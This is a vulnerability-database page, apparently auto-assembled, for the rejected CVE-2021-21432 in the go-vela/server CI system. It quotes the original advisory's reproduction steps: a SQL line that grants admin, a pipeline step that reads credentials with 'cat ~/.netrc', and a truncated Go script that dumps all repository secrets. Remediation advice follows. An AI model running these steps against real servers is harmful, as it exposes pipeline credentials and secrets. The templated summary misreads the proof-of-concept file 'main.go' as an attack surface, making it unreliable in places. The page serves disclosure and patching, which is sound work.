Categories
CVE-2021-21432

Rejected CVE ID (CVE-2021-21432)

Summary

CVE-2021-21432 has been rejected by its CVE Numbering Authority and does not describe a vulnerability.

Original description

The description as published by the source.

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

  1. Create Vela server

  2. Login to Vela UI

  3. Promote yourself to Vela administrator

    • UPDATE users SET admin = 't' WHERE name =
  4. Activate repository within Vela

  5. Add .vela.yml to the repository with the following content

    version: "1"
    
    steps:
    - name: steal
      image: alpine
      commands:
        - cat ~/.netrc
    
  6. Look at build logs to find the following content

    $ cat ~/.netrc
    machine 
    login x-oauth-basic
    password 
    
  7. Copy the password to be utilized in some later step

  8. Add secret(s) to activated repo

  9. Copy the following script into main.go

    package main
    
    import (
        "fmt"
        "github.com/go-vela/sdk-go/vela"
        "os"
    )
    
    func main() {
        // create client to connect to vela
        client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil)
        if err != nil {
    	    panic(err)
        }
    
        // add PAT to request
        client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    
        secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
        if err != nil {
    	    panic(err)
        }
    
        for _, secret := range…
    

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2021-21432 has been found in github.com/go-vela/server.
Attackers can target a specific entry point like main.go over the network to misuse the product.
Confidential information can be exposed externally.
What to do: upgrade github.com/go-vela/server to 0.7.5 or later.
If unsure, ask your IT team or search "github.com/go-vela/server CVE-2021-21432" on the vendor's site.

CVE-2021-21432 (github.com/go-vela/server) — CWE-285
Attack vector: adjacent-network
Attack surface: main.go
Patched: 0.7.5 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

A vulnerability (CWE-285) exists in github.com/go-vela/server. Attackers reach the vulnerable code path via main.go.

📍 Affected scope

Check the vendor advisory for the affected versions of github.com/go-vela/server. Attack surface: main.go.

🔥 Severity

Severity: ?. Confidential information can be exposed externally.

🔧 How to fix

Update to 0.7.5.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/go-vela/server' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'github.com/go-vela/server' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で github.com/go-vela/server を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade github.com/go-vela/server to 0.7.5

    ステージング環境で 0.7.5 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

Go github.com/go-vela/server
[{"type":"SEMVER","events":[{"introduced":"0.7.0"},{"fixed":"0.7.5"}]}]

References

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